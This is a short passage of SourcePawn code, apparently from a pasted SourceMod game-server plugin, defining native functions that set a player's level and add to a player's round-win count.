- int client = GetNativeCell(1);
- int number = GetNativeCell(2);
- iLvl[client] = number;
- }
- public int Native_GiveRoundWins(Handle plugin, int numParams)
- {
- int client = GetNativeCell(1);
- int number = GetNativeCell(2);
- RoundWon[client] += number;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement